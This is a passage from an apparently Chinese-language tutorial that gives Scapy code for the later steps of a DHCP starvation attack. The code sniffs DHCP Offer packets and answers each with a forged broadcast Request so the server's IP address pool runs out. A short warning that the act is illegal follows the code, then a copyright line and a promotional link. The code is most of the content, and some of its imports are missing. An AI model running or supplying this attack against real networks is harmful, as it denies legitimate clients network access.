(2)收到offer 收到offer消息后,需要提取offer中的服务器IP地址、租用时间等信息,构造request请求。 from scapy.all import sniff,DHCP def dhcp_offer(pkt): if DHCP in pkt and pkt[DHCP].options[0][1] == 2: #DHCP Offer print("Received DHCP Offer from " + pkt[DHCP].options[2][1]) print("Offered IP address: " + pkt[DHCP].options[5][1]) print("Lease time: " + str(pkt[DHCP].options[6][1]) + " seconds") #构造request请求 dhcp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst= "255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(chaddr=pkt[BOOTP].chaddr, xid=pkt[BOOTP].xid) / DHCP(options=[("message-type","request"),("requested_addr",pkt[DHCP].options[5][1]),("server_id",pkt[DHCP].options[2][1]),("end")]) send(dhcp_request) sniff(filter="udp and (port 67 or port 68)", prn=dhcp_offer) (3)发送request 发送request请求后,DHCP服务器会为指定的IP地址分配租用时间,从而消耗DHCP服务器的IP资源。 可通过以上代码构造DHCP客户端,模拟攻击DHCP服务器,消耗其IP资源。注意,此种行为属于非法攻击行为,严禁使用


原文地址: https://www.cveoy.top/t/topic/ev7f 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录